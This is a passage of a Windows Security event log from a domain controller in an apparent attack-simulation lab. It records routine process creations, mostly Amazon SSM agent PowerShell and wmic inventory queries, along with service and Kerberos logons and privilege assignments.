EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248264
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd40
	New Process Name:	C:\Windows\System32\wbem\WmiApSrv.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\wbem\WmiApSrv.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248263
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:45:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248262
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248271
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe0c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe04
	Creator Process Name:	C:\Windows\System32\lodctr.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248270
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe04
	New Process Name:	C:\Windows\System32\lodctr.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x9c8
	Creator Process Name:	C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe
	Process Command Line:	"C:\Windows\system32\lodctr.exe" "C:\Windows\TEMP\tmpACBA.tmp"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248273
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe68
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248272
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe60
	New Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xbfc
	Creator Process Name:	C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
	Process Command Line:	"C:\Program Files\Amazon\SSM\ssm-agent-worker.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248275
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf10
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	powershell "Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'" "| Select-Object" "ProductName, BuildLabEx, CurrentMajorVersionNumber, CurrentMinorVersionNumber" "| ConvertTo-Json -Depth 3"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248274
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed8
	New Process Name:	C:\Windows\System32\wbem\WMIC.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	wmic OS get Version /format:list

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248278
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc74
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	powershell "Get-ItemProperty -Path 'HKLM:\SOFTWARE\Amazon\PVDriver'" "| Select-Object" "Name, Version" "| ConvertTo-Json -Depth 3"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248277
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfec
	New Process Name:	C:\Windows\System32\wbem\WMIC.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	wmic OS get OperatingSystemSKU /format:list

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248276
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf78
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	powershell "Get-CimInstance Win32_OperatingSystem" "| Select-Object" "Version, OperatingSystemSKU" "| ConvertTo-Json -Depth 3"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248281
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf1c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	powershell "Get-CimInstance Win32_PnPSignedDriver | Where-Object { $_.DeviceID -eq 'XENBUS\VEN_XS0001&DEV_VBD&REV_00000001\_' -or $_.DeviceClass -eq 'Net' -and ( $_.Manufacturer -like 'Intel*' -or $_.Manufacturer -eq 'Citrix Systems, Inc.' -or $_.Manufacturer -eq 'Amazon Inc.' -or $_.Manufacturer -eq 'Amazon Web Services, Inc.' )}" "| Select-Object" "Description, DriverVersion" "| ConvertTo-Json -Depth 3"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248280
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd40
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	powershell "Get-CimInstance Win32_PnPEntity | Where-Object { $_.Service -eq 'xenvbd' }" "| Select-Object" DeviceID "| ConvertTo-Json -Depth 3"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248279
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd54
	New Process Name:	C:\Windows\System32\wbem\WMIC.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	wmic OS get OperatingSystemSKU /format:list

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248282
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfac
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	powershell "Get-WinEvent -FilterHashtable @( @{ LogName='System'; ProviderName='Microsoft-Windows-Kernel-General'; Id=12; Level=4 }, @{ LogName='System'; ProviderName='Microsoft-Windows-WER-SystemErrorReporting'; Id=1001; Level=2 } ) | Sort-Object TimeCreated -Descending" "| Select-Object" "Id, Level, ProviderName, TimeCreated, Properties" "| ConvertTo-Json -Depth 3"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248347
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81DF2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248346
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81DF2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248345
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81D7A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248344
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81D7A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
